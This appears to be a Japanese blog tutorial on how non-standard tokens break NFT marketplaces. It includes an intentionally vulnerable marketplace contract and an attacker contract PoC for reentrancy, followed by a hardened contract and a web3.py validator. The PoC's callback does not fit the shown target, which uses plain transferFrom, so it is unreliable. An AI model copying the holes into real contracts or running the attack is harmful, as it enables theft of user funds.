はじめに：「標準仕様通り」という最大の思い込みを捨てろ
ブロックチェーンの世界に足を踏み入れたばかりのエンジニアが、最も足元をすくわれやすい落とし穴がある。それは「EIP（Ethereum Improvement Proposals）で定義された仕様通りに、すべてのトークンが実装されているはずだ」という性善説のバイアスだ。
現場で多くの監査やインシデント対応を経験してきた身から率直に言うと、メインネットにデプロイされているトークンのうち、厳密な意味で仕様書（ERC-20、ERC-721、ERC-1155）を100%遵守しているものの方が少数派かもしれない。
最たる例が、時価総額トップクラスである USDT（Tether） だ。USDTの transfer() や transferFrom() は、ERC-20仕様で定義されている bool 値を返さない（void 実装）。これを知らずに、素朴にSolidityの IERC20(token).transferFrom(from, to, amount) を呼び出すマーケットプレイスやDEXを組むと、EVMのABIデコード処理が「あるはずの戻り値データが存在しない」と判定し、トランザクションが不可解にリバートする。
さらに危険なのは逆のケースだ。失敗時にリバートせず単に false を返す非標準トークンに対して、戻り値を検証していないコントラクトをぶつけると、「送金は失敗しているのに、マーケットプレイス上では決済が完了して商品（NFT等）が奪われる」 という致命的な事態を引き起こす。また、ERC-721やERC-1155のコールバックフック（onERC721Received など）を軽視した結果、リエントランシー（再入攻撃）を食らって資金や在庫を根こそぎ抜かれる事故も後を絶たない。
今回は、これら「非標準トークンが引き起こす相互運用性の破綻」を突いた攻撃シナリオ（PoC）を解剖し、コントラクト側およびオフチェーン側で完全に防御するための実践的なコードを紹介する。
—
攻撃シナリオ：なぜ非標準トークンでマーケットプレイスが破綻するのか
1. 戻り値チェック漏れによる「支払いゼロ決済」脆弱性
まずはERC-20の非標準挙動による典型的な被害パターンだ。ERC-20の仕様上、残高不足などのエラー時は revert させるか false を返す必要があるが、一部のトークン（ZRXなど初期の一部実装）は失敗時に単に false を返す。
マーケットプレイス側の実装が戻り値を無視している場合、攻撃者は残高ゼロの状態でNFTを購入できてしまう。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20Bad {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC721Bad {
function transferFrom(address from, address to, uint256 tokenId) external;
}
// 【脆弱なマーケットプレイスの例】
contract VulnerableMarketplace {
struct Listing {
address seller;
address payToken;
uint256 price;
address nftContract;
uint256 tokenId;
}
mapping(uint256 => Listing) public listings;
// 商品購入処理
function buy(uint256 listingId) external {
Listing memory item = listings[listingId];
// 脆弱点：戻り値（bool）を検証していない！
// トークンが送金失敗で false を返しても、コントラクトは処理を継続してしまう。
IERC20Bad(item.payToken).transferFrom(msg.sender, item.seller, item.price);
// 支払いが完了したと誤認し、NFTを攻撃者に引き渡す
IERC721Bad(item.nftContract).transferFrom(address(this), msg.sender, item.tokenId);
delete listings[listingId];
}
}2. ERC-721/1155 のセーフフックを悪用したリエントランシー
ERC-721の safeTransferFrom やERC-1155の safeTransferFrom には、受取先がコントラクトの場合に onERC721Received や onERC1155Received を実行するフック仕様がある。
このフックは「トークンの受取に対応していないコントラクトへ誤送信してトークンが永久消失するのを防ぐ」ための親切設計だが、攻撃者にとっては「マーケットプレイスの内部状態（State）が書き換わる直前に割り込める格好のバックドア」になる。
Checks-Effects-Interactions（CEI）パターンを崩して「外部呼び出しの後に状態を削除」していると、以下のようなPoCで全在庫を吸い出される。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IVulnerableMarketplace {
function buy(uint256 listingId) external;
}
// 【攻撃者コントラクトのPoC】
contract ExploitBuyer is IERC721Receiver {
IVulnerableMarketplace public marketplace;
uint256 public targetListingId;
bool public hasReentered;
constructor(address _marketplace) {
marketplace = IVulnerableMarketplace(_marketplace);
}
function attack(uint256 listingId) external {
targetListingId = listingId;
// 脆弱な購入処理をキック
marketplace.buy(listingId);
}
// safeTransferFrom によって自動的に呼び出されるコールバック
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
// 状態が更新（delete listings）される前に再入して、同じlistingIdを再度購入する等の悪用が可能
if (!hasReentered) {
hasReentered = true;
marketplace.buy(targetListingId);
}
return this.onERC721Received.selector;
}
}—
現場で即採用すべきコントラクト側の完全防御実装
これらの問題を防ぐための鉄則は次の3点だ。
1. ERC-20送金には生インターフェースを絶対に使わず、OpenZeppelinの SafeERC20 を使う。
SafeERC20は、戻り値がないコントラクト（USDT）も、falseを返すコントラクトも、インラインアセンブリの低レベル呼び出し（call）を用いてEVMの戻り値バッファ長と内容をチェックし、失敗時には確実にトランザクション全体をrevertさせる。
2. Checks-Effects-Interactions（CEI）パターンの徹底。
- 外部コントラクトへの転送（Interaction）を行う前に、必ず内部状態の更新（Effects）を終わらせる。
3. ReentrancyGuard の適用。
以下に、現場でそのまま安全に使えるマーケットプレイス決済のコア実装を提示する。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/**
* @title SecureMarketplace
* @notice 非標準ERC-20/721/1155の相互運用性リスクを排除した高堅牢性マーケットプレイス
*/
contract SecureMarketplace is ReentrancyGuard {
using SafeERC20 for IERC20;
enum TokenType { ERC721, ERC1155 }
struct Listing {
address seller;
address payToken; // 支払い用トークンアドレス
uint256 price; // 販売価格
address tokenAddress; // NFTのアドレス
uint256 tokenId; // トークンID
uint256 amount; // ERC-721なら1、ERC-1155なら数量
TokenType tokenType; // トークン規格種別
bool isActive; // 販売中フラグ
}
// listingId => Listing
mapping(uint256 => Listing) public listings;
uint256 public nextListingId;
event ItemListed(uint256 indexed listingId, address indexed seller, address nft, uint256 tokenId);
event ItemBought(uint256 indexed listingId, address indexed buyer);
/**
* @notice 商品購入処理
* @dev CEIパターンとSafeERC20、ReentrancyGuardによりリエントランシー及び決済失敗を完全防御
*/
function executeOrder(uint256 listingId) external nonReentrant {
// 1. Checks: 状態の厳格な検証
Listing storage item = listings[listingId];
require(item.isActive, "Marketplace: Item is not active");
require(item.seller != msg.sender, "Marketplace: Seller cannot be buyer");
// 2. Effects: 外部呼び出しを行う前に状態を確実に更新・無効化する
item.isActive = false;
// 3. Interactions (Step A): 支払い処理
// SafeERC20の safeTransferFrom を使用
// -> USDTのような戻り値がないもの、戻り値が false のものをすべて検知して revert させる
IERC20(item.payToken).safeTransferFrom(
msg.sender,
item.seller,
item.price
);
// 4. Interactions (Step B): NFTの転送
if (item.tokenType == TokenType.ERC721) {
// ERC-721の転送
// 送信先がスマートコントラクトかつ safeTransferFrom の場合、
// 相手先の onERC721Received が動くが、既に isActive = false かつ nonReentrant のため再入は不可能
IERC721(item.tokenAddress).safeTransferFrom(
address(this),
msg.sender,
item.tokenId
);
} else if (item.tokenType == TokenType.ERC1155) {
// ERC-1155の転送
IERC1155(item.tokenAddress).safeTransferFrom(
address(this),
msg.sender,
item.tokenId,
item.amount,
""
);
}
emit ItemBought(listingId, msg.sender);
}
}—
オフチェーン側防御：Webアプリや監視基盤で非標準トークンを弾く
スマートコントラクト側で防衛線を張るのは当然として、DAppのフロントエンドやバックエンド（インデクサー）で事前に「仕様を満たしていないトークンのリスティングを拒否するバリデーション」を仕込んでおくことが実務上極めて重要だ。
特にERC-165（インターフェース検出仕様）を正しく実装していないNFTや、ABIと挙動が一致しないERC-20は、システムに登録された瞬間にUI崩壊や予期せぬAPIエラーを誘発する。
以下は、Python（web3.py）を用いて、トークンが最低限のERC-165インターフェースを遵守しているか、またERC-20の挙動に異常がないかを静的・動的に検証するバックエンドスクリプトだ。
import sys
from web3 import Web3
from eth_abi import decode
# RPCノードへの接続設定
RPC_URL = "https://mainnet.infura.io/v3/YOUR_INFURA_KEY"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
# ERC-165 interfaceId 定義
ERC165_INTERFACE_ID = "0x01ffc9a7"
ERC721_INTERFACE_ID = "0x80ac58cd"
ERC1155_INTERFACE_ID = "0xd9b67a26"
ERC165_ABI = [
{
"inputs": [{"internalType": "bytes4", "name": "interfaceId", "type": "bytes4"}],
"name": "supportsInterface",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function"
}
]
def check_nft_standard(token_address: str) -> str:
"""
ERC-165を用いてNFTコントラクトが標準に準拠しているか厳格に検査する
"""
token_address = Web3.to_checksum_address(token_address)
contract = w3.eth.contract(address=token_address, abi=ERC165_ABI)
try:
# ERC-165 仕様：自身（0x01ffc9a7）に対しては必ず true を返さなければならない
supports_erc165 = contract.functions.supportsInterface(ERC165_INTERFACE_ID).call()
if not supports_erc165:
return "NON_COMPLIANT: Failed ERC-165 check"
# ERC-721 チェック
if contract.functions.supportsInterface(ERC721_INTERFACE_ID).call():
return "ERC-721"
# ERC-1155 チェック
if contract.functions.supportsInterface(ERC1155_INTERFACE_ID).call():
return "ERC-1155"
return "UNKNOWN_OR_CUSTOM"
except Exception as e:
# supportsInterface の呼び出し自体がリバートする場合、仕様完全無視の野良コントラクト
return f"REJECTED: Contract does not implement ERC-165 properly ({str(e)})"
def inspect_erc20_transfer_behavior(token_address: str) -> dict:
"""
ERC-20トークンが戻り値を正しく返す（USDT非標準挙動でないか）を低レベルコールで検証
"""
token_address = Web3.to_checksum_address(token_address)
# transfer(address,uint256) のシグネチャ: 0xa9059cbb
# ゼロアドレス宛に0トークン転送するダミーペイロード
data = (
"0xa9059cbb"
+ "0000000000000000000000000000000000000000000000000000000000000000"
+ "0000000000000000000000000000000000000000000000000000000000000000"
)
try:
# eth_call を用いてシミュレーション実行
raw_result = w3.eth.call({
"to": token_address,
"data": data,
"from": "0x0000000000000000000000000000000000000001"
})
# 戻り値のバイト長を評価
if len(raw_result) == 0:
return {
"standard": False,
"reason": "Missing return value (USDT-style non-standard behavior)"
}
# boolとしてデコード可能かテスト
is_success = decode(['bool'], raw_result)[0]
return {
"standard": True,
"returns_bool": True,
"simulated_result": is_success
}
except Exception as e:
return {
"standard": False,
"reason": f"Execution reverted or failed: {str(e)}"
}
if __name__ == "__main__":
# USDT Mainnet
usdt_address = "0xdAC17F958D2ee523a2206206994597C13D831ec7"
print(f"Checking USDT ({usdt_address})...")
erc20_analysis = inspect_erc20_transfer_behavior(usdt_address)
print(f"Result: {erc20_analysis}")このスクリプトをCI/CDやリスティング審査のワーカーに組み込んでおくことで、「USDTスタイルの非標準トークンが投入された場合に警告を出す」「ERC-165に応答しない不正なNFTのリスティングを弾く」といった多層防御が構築できる。
—
まとめ：チーフエンジニアからの実装チェックリスト
分散型アプリケーションにおいて、外部コントラクトはすべて「悪意を持っているか、あるいは重大なバグを抱えている」と仮定してコードを書くのが基本原則だ。
チームでスマートコントラクトをレビューする際は、以下のチェックリストを必ず確認してほしい。
- [ ] 生の
IERC20.transfer()やtransferFrom()を直接呼んでいないか？ - 必ず OpenZeppelin の
SafeERC20ライブラリを採用し、safeTransfer/safeTransferFromを徹底すること。 - [ ] ERC-721 / ERC-1155 の受信フックを考慮しているか？
safeTransferFromを呼び出した時点で、制御権が受取先コントラクトに一時的に奪われることを前提に設計する。- [ ] CEI（Checks-Effects-Interactions）パターンを逸脱していないか？
- 送金やNFTの転送を実行する前に、すべてのマッピングや内部フラグの更新を完了させているか。
- [ ] 状態遷移を伴う外部公開関数すべてに
nonReentrantを付与したか？ - ガスコストを惜しんでリエントランシー対策を削らないこと。
- [ ] オフチェーン側でERC-165（
supportsInterface）による規格検証をパスしているか？ - UIやインデクサーに異常なコントラクトを取り込まないための防波堤を用意すること。
規格（Standard）という言葉の響きに安心しないこと。現場のコードには無数の「規格外」が蠢いている。それらを冷静に手なずけ、どんな実装が飛んできても資産を守り切る堅牢なコードを書いていこう。
コメント